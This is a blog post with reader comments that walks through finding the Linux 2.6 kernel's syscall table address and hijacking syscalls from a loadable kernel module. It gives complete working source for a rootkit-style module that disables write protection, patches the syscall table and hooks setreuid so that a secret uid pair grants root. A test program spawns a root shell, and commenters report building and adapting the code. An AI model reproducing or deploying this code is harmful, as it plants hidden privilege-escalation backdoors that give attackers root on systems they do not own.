Home > Bash, C/C++, GNU/Linux, Operating Systems, Programming, Security > Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x)

Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x)

Hi. In this post I’ll show you how to obtain dynamically the syscall table address. In the last posts (this and this) I wrote codes in which the syscall table address was hardcoded (as suggested by sj).
Now I’ll show you how to dinamically obtain it.
Searching online you’ll see that there are lot of functions that seek the syscall address between some other variable addresses defined in “/boot/System.map-kerne_version”.
Here is an example (by kerneltrap.org):

unsigned long **find_sys_call_table(void)  {

   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&loops_per_jiffy;
        ptr < (unsigned long)&boot_cpu_data; 
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }

   return NULL;
}

This function searches the syscall address between the “loops_per_jiffy” and “cpu_boot_data” addresses. This code doesn’t make sense in the lastest kernel releases because “loops_per_jiffy” has been “moved”, so sys_call_table is not between it and “boot_cpu_data” any more. Furthermore, it is based on the erroneous assumption that “sys_call_table” is always between two fixed addresses. Its position may change and this is true not only for the lastest kernel release, but also for the older ones.
For example in my ubuntu machine (kernel 2.6.35-24-generic):

spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-24-generic |grep -e "D loops_per_jiffy" -e "sys_call_table" -e "D boot_cpu_data"

c05d3180 R sys_call_table
c07c8bc8 D loops_per_jiffy
c0815040 D boot_cpu_data

spaccio@spaccio-laptop:~$ 

As you can see:

c05d3180 (sys_call_table) < c07c8bc8 (loops_per_jiffy) < c0815040 (boot_cpu_data)

So: how can we be sure to obtain the correct address?
We can do a brute force scan on memory addresses searching for the syscall table address: but this is a bad solution.
Instead I’ve found two solutions: the first one finds the address at compile-time; the second one finds the address at run-time when the kernel module is loaded into the memory.

– Finding syscall table address at compile-time

We can simply obtain the syscall table address using some shell (bash) commands in the “Makefile”. So at first we scan the “System.map-kernel_version” file searching for the syscall address. Next we replace it into the kernel module and we compile it as usual.
Here is the bash command that finds the syscall table address into “System.map-kernel_version”:

spaccio@spaccio-laptop:~$ grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}'
c05d3180
spaccio@spaccio-laptop:~$

So we have to write a bash executable (compile.sh) that:

– finds the syscall table address;
– inserts it into the .c source;
– runs the Makefile;

Here is the bash file (“compile.sh”):

#!/bin/bash

TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}')
sed -i s/TABLE/$TABLE/g hijack.c

make
spaccio@spaccio-laptop:~$ chmod +x compile.sh
spaccio@spaccio-laptop:~$

Here is the “Makefile”:

obj-m	:= hijack.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

Here is the LKM (“hijack.c”):

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

unsigned long *syscall_table = (unsigned long *)0xTABLE; 

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT "WRITE HIJACKED");

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    printk(KERN_ALERT "\nHIJACK INIT\n");

    write_cr0 (read_cr0 () & (~ 0x10000));

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

static void exit(void) {

    write_cr0 (read_cr0 () & (~ 0x10000));

    syscall_table[__NR_write] = original_write;  

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT "MODULE EXIT\n");

    return;
}

module_init(init);
module_exit(exit);

We can compile it:

spaccio@spaccio-laptop:~$ sh compile.sh
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod2 modules
make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic"
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.o
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:33: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:44: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.ko
make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic"

Now if you open the “hijack.c” file you’ll see that instead of the “TABLE” there is the syscall table address:

spaccio@spaccio-laptop:~$ cat hijack.c |grep *syscall_table
unsigned long *syscall_table = (unsigned long *)0xc05d3180; 
spaccio@spaccio-laptop:~$

We can run it:

spaccio@spaccio-laptop:~$ sudo insmod hijack.ko
spaccio@spaccio-laptop:~$ 

Great, it works!
This is a very simple, working and efficient solution, but I wanted a more sophisticated one.

– Finding syscall table address at run-time

I invented this method, so it might not be very elegant and/or efficient (any help will be appreciated for improvements). I wanted to open and search the syscall table address into the “System.map-kernel_version” file via a LKM.
In order to obtain the syscall table address at run-time we have to follow this steps:

1 – Find where the system stores the kernel version that we are using. When we have found the kernel version we can open the relative “/boot/System.map-kernel_version” file;
2 – Open the “/boot/System.map-kernel_version” file found at step 1.
3 – Search for the syscall table address and use it;

We can find the kernel version reading it from the “/proc/” filesystem. We are especially interested in a file:

spaccio@spaccio-laptop:~$ cat /proc/version
Linux version 2.6.35-24-generic (buildd@vernadsky) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #42-Ubuntu SMP Thu Dec 2 01:41:57 UTC 2010
spaccio@spaccio-laptop:~$

The “version” file consists of a string describing the Linux kernel version number. It contains the version information that would be obtained by the uname (man uname) system call plus additional information such as the version of the compiler that was used to compile the kernel.
The following function opens the “/proc/version” file and tokenizes the string in order to obtain only the kernel version string:

...
#define PROC_V			"/proc/version"
#define MAX_LEN			256
...

char *search_file(char *buf) {
	
	struct file *f;
	char *ver;
	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	f = filp_open(PROC_V, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return NULL;
	
	}
	
	memset(buf, 0, MAX_LEN);
	
	vfs_read(f, buf, MAX_LEN, &f->f_pos);
	
	ver = strsep(&buf, " ");
	ver = strsep(&buf, " ");
	ver = strsep(&buf, " ");
	
	printk(KERN_ALERT "Kernel version found: %s\n", ver);
		
	filp_close(f, 0);	
	set_fs(oldfs);
	
	return ver;

}

As you can see, I open the “/proc/version” file and I read MAX_LEN byte from it. (If you want to know how we can open/read/write to a file in a kernel space, you should read this).
So we have in the “buf” variable a string: the string shows our kernel version and other informations. We only extract the kernel version through the “strsep()” function (man strsep). In kernel space we can’t use the “strtok()” function (it’s not defined), so we have to use the “strsep()” one.
Now we have the kernel version: we can proceed to the second and third steps.
First we must open the “/boot/System.map-kernel_version” file where we have to replace “kernel_version” with the kernel version found at step 1. We read strings line by line from this file until the “sys_call_table” string is found. We tokenize the string obtaining the relative address and we’ll use it to hijack the system calls we are interested.
Here is the code:

...
#define BOOT_PATH		"/boot/System.map-"
...

static int find_sys_call_table (char *kern_ver)
 {

	char buf[MAX_LEN];
	int i = 0;
	char *filename;
	char *p;
	struct file *f = NULL;

	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
	
	if ( filename == NULL ) {
	
		return -1;
	
	}
	
	memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
	
	strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
	strncat(filename, kern_ver, strlen(kern_ver));
	
	printk(KERN_ALERT "\nPath %s\n", filename);
	
	f = filp_open(filename, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return -1;
	
	}

	memset(buf, 0x0, MAX_LEN);

	p = buf;

	while (vfs_read(f, p+i, 1, &f->f_pos) == 1) {

		if ( p[i] == '\n' || i == 255 ) {
		
			i = 0;
			
			if ( (strstr(p, "sys_call_table")) != NULL ) {
				
				char *sys_string;
				
				sys_string = kmalloc(MAX_LEN, GFP_KERNEL);	
				
				if ( sys_string == NULL ) { 
				
					filp_close(f, 0);
					set_fs(oldfs);
	
					kfree(filename);
	
					return -1;
	
				}

				memset(sys_string, 0, MAX_LEN);
				strncpy(sys_string, strsep(&p, " "), MAX_LEN);
			
				syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
				
				kfree(sys_string);
				
				break;
			}
			
			memset(buf, 0x0, MAX_LEN);
			continue;
		}
		
		i++;
	
	}

	filp_close(f, 0);
	set_fs(oldfs);
	
	kfree(filename);

	return 0;
}

Code explanation:

– row 19: we allocate enaugh space to “filename” in order to contain the string “/boot/System.map-kernel_version”. The “kmalloc()” function is like the “malloc()” in kernel space. The second parameter is the kernel priority: “GFP_KERNEL” means “normal allocation”.
– rows 21 to 42: we open the “/boot/System.map-kernel_version” file;
– row 44: “p” points to “buf” because the “strsep()” function needs a “char **” as first parameter;
– row 46: in the “while” loop we read one byte at once (I want to store in “buf” only one line at once);
– row 48: if we have reached the end of line or we have read too much bytes, we can check for the “sys_call_table” string;
– rows 52 to 77: if there is match, we store into “sys_string” the first token of the line, that is:

c05d3180 R sys_call_table

As you can see the first token is exactly the syscall table address. In the row 72 we convert the address from a string format to a long integer through the “simple_strtoll()” function (it’s like the” strtoll()” function (man strtoll)). Next we assign this value to “syscall_table”.
– row 90: the “kfree()” function is like the “free()” function.

I show you the full module source code (“kernel_sys.c”): once we obtain the syscall table address we hijack the “__NR_setreuid32” syscall (I suggest you read this and this if you have not already done so):

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <linux/version.h>
#include <linux/syscalls.h>

#define PROC_V			"/proc/version"
#define BOOT_PATH		"/boot/System.map-"

#define MAX_LEN			256

unsigned long *syscall_table; 
int sys_found = 0;

asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);

asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {

	struct cred *new;

	 if ((ruid == 7310) && (euid == 0137))	 {

		 printk(KERN_ALERT "[Correct] \n");

		#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 	
			 		       		
			current->uid = current -> gid = 0;
		 	current -> euid = current -> egid = 0;
		 	current -> suid = current -> sgid = 0;
		 	current -> fsuid = current -> fsgid = 0;

		#else

  			new = prepare_creds();

  			if ( new != NULL ) {

	  			new->uid = new->gid = 0;
				new->euid = new->egid = 0;
				new->suid = new->sgid = 0;
				new->fsuid = new->fsgid = 0;

				commit_creds(new);
			}
		#endif

		 return orig_setreuid (0, 0);
	 }

	 return orig_setreuid (ruid, euid);
}

char *search_file(char *buf) {
	
	struct file *f;
	char *ver;
	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	f = filp_open(PROC_V, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return NULL;
	
	}
	
	memset(buf, 0, MAX_LEN);
	
	vfs_read(f, buf, MAX_LEN, &f->f_pos);
	
	ver = strsep(&buf, " ");
	ver = strsep(&buf, " ");
	ver = strsep(&buf, " ");
		
	filp_close(f, 0);	
	set_fs(oldfs);
	
	return ver;

}

static int find_sys_call_table (char *kern_ver)
 {

	char buf[MAX_LEN];
	int i = 0;
	char *filename;
	char *p;
	struct file *f = NULL;

	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
	
	if ( filename == NULL ) {
	
		return -1;
	
	}
	
	memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
	
	strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
	strncat(filename, kern_ver, strlen(kern_ver));
	
	printk(KERN_ALERT "\nPath %s\n", filename);
	
	f = filp_open(filename, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return -1;
	
	}

	memset(buf, 0x0, MAX_LEN);

	p = buf;

	while (vfs_read(f, p+i, 1, &f->f_pos) == 1) {

		if ( p[i] == '\n' || i == 255 ) {
		
			i = 0;
			
			if ( (strstr(p, "sys_call_table")) != NULL ) {
				
				char *sys_string;
				
				sys_string = kmalloc(MAX_LEN, GFP_KERNEL);	
				
				if ( sys_string == NULL ) { 
				
					filp_close(f, 0);
					set_fs(oldfs);
	
					kfree(filename);
	
					return -1;
	
				}

				memset(sys_string, 0, MAX_LEN);
				strncpy(sys_string, strsep(&p, " "), MAX_LEN);
			
				syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
				
				kfree(sys_string);
				
				break;
			}
			
			memset(buf, 0x0, MAX_LEN);
			continue;
		}
		
		i++;
	
	}

	filp_close(f, 0);
	set_fs(oldfs);
	
	kfree(filename);

	return 0;
}

static int init(void) {

	char *kern_ver;
	char *buf;
	
	buf = kmalloc(MAX_LEN, GFP_KERNEL);
	
	if ( buf == NULL ) {
	
		sys_found = 1;
		return -1;
	
	}	

	printk(KERN_ALERT "\nHIJACK INIT\n");

	kern_ver = search_file(buf);
		
	if ( kern_ver == NULL ) {

		sys_found = 1;
		return -1;
	
	}
	
	printk(KERN_ALERT "Kernel version found: %s\n", kern_ver);
	
	if ( find_sys_call_table(kern_ver) == -1 ) {
	
		sys_found = 1;
		return -1;
	}

	sys_found = 0;
	
	write_cr0 (read_cr0 () & (~ 0x10000));
	
	orig_setreuid = syscall_table[__NR_setreuid32];
	syscall_table[__NR_setreuid32] = new_setreuid;

	write_cr0 (read_cr0 () | 0x10000);
	
	kfree(buf);
	
	return 0;
}

static void exit(void) {
	
	if ( sys_found == 0 ) {
	
		write_cr0 (read_cr0 () & (~ 0x10000));

		syscall_table[__NR_setreuid32] = orig_setreuid;

		write_cr0 (read_cr0 () | 0x10000);
	
	}
	
	printk(KERN_ALERT "\nHIJACK EXIT\n");

	return;
}


module_init(init);
module_exit(exit);

The “sys_found” variable is used for control purposes.
Here is the Makefile:

obj-m	:= kernel_sys.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

Here is our simple script (“test.c”):

#include <stdio.h>

int main () {

        setreuid (7310, 0137);
        system ("/bin/sh");

        return 0;
}

We can compile it:

spaccio@spaccio-laptop:~$ make
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules
make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic"
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.o
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘find_sys_call_table’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: cast to pointer from integer of different size
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: assignment from incompatible pointer type
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:221: warning: assignment makes pointer from integer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:222: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:239: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.mod.o
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.ko
make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic"
spaccio@spaccio-laptop:~$ 

Next we load the module and we check if it finds the correct version of kernel and if it opens the relative “System.map-kernel_version”:

spaccio@spaccio-laptop:~$ sudo insmod kernel_sys.ko
spaccio@spaccio-laptop:~$ dmesg | tail
[ 5085.877145] HIJACK INIT
[ 5085.877182] Kernel version found: 2.6.35-24-generic
[ 5085.877189] 
[ 5085.877191] Path /boot/System.map-2.6.35-24-generic
[ 5102.441298]
spaccio@spaccio-laptop:~$

Everything seems right.
Now we can test it with our simple script (“test.c”):

spaccio@spaccio-laptop:~$ gcc test.c -o test
spaccio@spaccio-laptop:~$ ./test
# whoami
root
# exit

It seems to work! Wow…

– Conclusions

I’ve showed you two ways to find the syscall table address: one at compile-time and the other at run-time.
You can use what you want and if you have any questions or suggests you can use comments.
Bye.

  1. Anonymous
    January 21, 2011 at 13:22

    These are not two different ways. For all purposes they are the same way.

    • January 28, 2011 at 18:10

      It seems obvious to me: the purpose is to dinamically find the syscall table…

  2. eeknay
    February 21, 2011 at 23:35

    Thanks! Great stuff man!

  3. March 5, 2011 at 08:53

    Module compiled. But when I try to insmod — i have this error: “Unknown symbol simple_strtoll”.

    • March 7, 2011 at 00:47

      It seems odd that you don’t have a link to “simple_strtoll()” function. Have you checked that you are including all the necessary libraries?

  4. March 5, 2011 at 09:02

    While inserting:
    sudo insmod ./rootkit32.ko
    insmod: error inserting ‘./rootkit32.ko’: -1 Unknown symbol in module

    And Warning durinf compilation:
    WARNING: “simple_strtoll” [/home/sov1et/Dropbox/Coding/modules/syscall/rootkit32.ko] undefined!

  5. linbao
    March 10, 2011 at 09:37

    hi
    i follow your hijack.c on redhat as5.5 x86_64(it is a xen domU vm,with kernel version 2.6.18-194.17.1.el5xen),and the sys_call_table is at:
    grep sys_call_table /boot/System.map-$(uname -r)
    ffffffff8047af40 R sys_call_table
    ffffffff8047bf00 r ia32_sys_call_table

    i use the “ffffffff8047af40”,as showed below:
    unsigned long *syscall_table = (unsigned long *)0xffffffff8047af40;

    when i run compile.sh and try to insmod the ko,the system just shutdown and reboot,

    the console shows:
    insmod aa.ko
    aa: module license ‘unspecified’ taints kernel.

    HIJACK INIT
    general protection fault: 0000 [1] SMP
    last sysfs file: /class/net/virbr0/address
    CPU 0
    Modules linked in: aa(PU) ipt_MASQUERADE iptable_nat ip_nat xt_state ip_conntrack nfnetlink ipt_REJECT xt_tcpudp iptable_filter ip_tables x_tables tun bridge be2iscsi ib_iser rdma_cm ib_cm iw_cm ib_sa ib_mad ib_core ib_addr iscsi_tcp bnx2i cnic ipv6 xfrm_nalgo crypto_api uio cxgb3i cxgb3 8021q libiscsi_tcp libiscsi2 scsi_transport_iscsi2 scsi_transport_iscsi loop dm_mirror dm_multipath scsi_dh scsi_mod parport_pc lp parport xennet pcspkr dm_raid45 dm_message dm_region_hash dm_log dm_mod dm_mem_cache xenblk ext3 jbd uhci_hcd ohci_hcd ehci_hcd
    Pid: 2341, comm: insmod Tainted: P 2.6.18-194.17.1.el5xen #1
    RIP: e030:[] [] :aa:init+0x1b/0x4a
    RSP: e02b:ffff8800296fff48 EFLAGS: 00010202
    RAX: 000000008004003b RBX: ffffffff88460580 RCX: ffffffff804f9c28
    RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
    RBP: 000000000e1a5030 R08: ffffffff804f9c28 R09: 0000000000000000
    R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000028559
    R13: 00002ba08b4a1010 R14: 0000000000040000 R15: 0000000000040000
    FS: 00002ba08b4a0210(0000) GS:ffffffff805d2000(0000) knlGS:0000000000000000
    CS: e033 DS: 0000 ES: 0000
    Process insmod (pid: 2341, threadinfo ffff8800296fe000, task ffff880027ad3100)
    Stack: 00002ba08b4a1010 ffffffff802a2724 0000000000040000 00002ba08b4a1010
    0000000000000003 00007fffd70dce42 0000000000028559 ffffffff80260106
    0000000000000202 0000003d742c5f80
    Call Trace:
    [] sys_init_module+0xaf/0x1f2
    [] system_call+0x86/0x8b
    [] system_call+0x0/0x8b

    Code: 0f 22 c0 48 8b 15 f7 04 00 00 48 83 c2 08 48 8b 02 48 89 05
    RIP [] :aa:init+0x1b/0x4a
    RSP
    Kernel panic – not syncing: Fatal exception

    what wrong with it ?

    • March 10, 2011 at 18:43

      You can try adding the following line to the module source code:

      MODULE_LICENSE(“GPL”)

      Bye.

    • July 17, 2011 at 09:23

      I have the same problem. As far as I can tell, xen doesn’t like the call to write_cr0(). However, xen also doesn’t appear to need it either; just compile your code without the GPF protection listed here and it should work.

  6. fdb
    March 11, 2011 at 00:24

    i think its better to use /proc/kallsyms instead of the kernel map file

    • March 11, 2011 at 00:59

      Sure, it might be a solution.
      Bye.

  7. March 31, 2011 at 17:31

    Great article! Thank you so much.

    Everything works fine under Ubuntu 10.10 x86 and openSUSE 11.3 x64.

  8. Hexasoft
    April 9, 2011 at 20:36

    Hello,
    this works fine on RHEL5-base kernel, but I had to make some minor changes:
    – I’m on 64b kernel, so I used __NR_setreuid instead of __NR_setreuid32 (it does not exists for me)
    – I renamed the exit() function, that makes some strange collision with the defined original exit() function when compiling.
    – on this kernel version simple_strtoll() is not defined/not exported (did not check). I copied the corresponding code (which is really simple) in the module and it works.

    Thanks for sharing.

    • April 11, 2011 at 09:27

      Thank you for this information. It will certainly be helpful to RHEL5-base kernel users.
      Bye.

  9. Jinesh
    August 24, 2011 at 12:44

    Good article, Everything is fine under ubuntu 32 and 64 bit version. But when I use same code on linux-2.6.32.44-pv kernal(used as xen hypervisor dom0),the statement ‘syscall_table[__NR_open]=new_open’ in init function cause error while running. Any suggestion to solve this problem.

  10. September 29, 2011 at 15:32

    Recently I tried LKM to hijack execv() system call.It working fine expect one condition. when I type gedit from command line, it work well. But when I choose gedit from Application the error ‘gnome-panel[8106]: segfault at 3b ip 000000000000003b sp 00007fffde9ff5b8 error 14 in gnome-panel[400000+98000]’ is occurred and not start the program. Please help to solve this problem. Thanks in advance..

  11. Ovais
    February 18, 2012 at 11:32

    It Works Fine…g8 stuff man.!

  12. dogasantos
    August 7, 2012 at 03:19

    Hi! great post memset!
    I create a easy function to open() System map, parse the file to get the right value.
    Not so elegant, but works as expected.
    cya!

  13. dogasantos
    August 7, 2012 at 03:23

    Add: my code use a different aproach to do the same thing. And you can see it right here: http://pastebin.com/8VMN6vF6

  14. June 12, 2013 at 15:56

    I have read so many articles or reviews on the topic of the blogger lovers however this article is in fact a good article, keep it up.

  15. August 6, 2013 at 05:25

    What’s up, its good piece of writing on the topic of media print, we all know media is a impressive source of information.

  16. August 20, 2013 at 22:49

    It’s perfect time to make some plans for the long run and it’s time to be happy.
    I have read this publish and if I could I desire to
    recommend you some interesting issues or advice. Maybe you could
    write subsequent articles regarding this article. I want to learn more issues approximately it!

  17. August 22, 2013 at 14:22

    That is a good tip particularly to those fresh to the blogosphere.
    Brief but very precise information… Thanks for sharing
    this one. A must read article!

  18. September 15, 2013 at 18:32

    Howdy excellent website! Does running a blog like this take a
    massive amount work? I’ve very little knowledge of coding but I was hoping to start my
    own blog in the near future. Anyway, should you have any recommendations or tips for new blog owners
    please share. I understand this is off subject however I just had to
    ask. Many thanks!

  19. September 19, 2013 at 19:17

    Hi there all, here every one is sharing such experience, therefore it’s fastidious
    to read this blog, and I used to pay a quick visit this
    weblog everyday.

  20. October 1, 2013 at 23:25

    Great blog here! Also your site loads up fast!

    What host are you using? Can I get your affiliate link to your host?
    I wish my site loaded up as quickly as yours lol

  21. March 3, 2014 at 06:20

    A Java-based platform may have not far more than you’ll
    need so as to position trades, and you will need to make use of some external charting program in order to look at price data.
    There can be a many choices, as any search about the Internet will advise you, and they also might be pricey.

    After that, you can log in with your password.

  1. January 21, 2011 at 10:03
  2. February 10, 2011 at 12:50
  3. March 18, 2011 at 15:07
  4. April 12, 2011 at 01:13
  5. December 21, 2016 at 09:32
  6. December 27, 2016 at 00:28

Leave a reply to dogasantos Cancel reply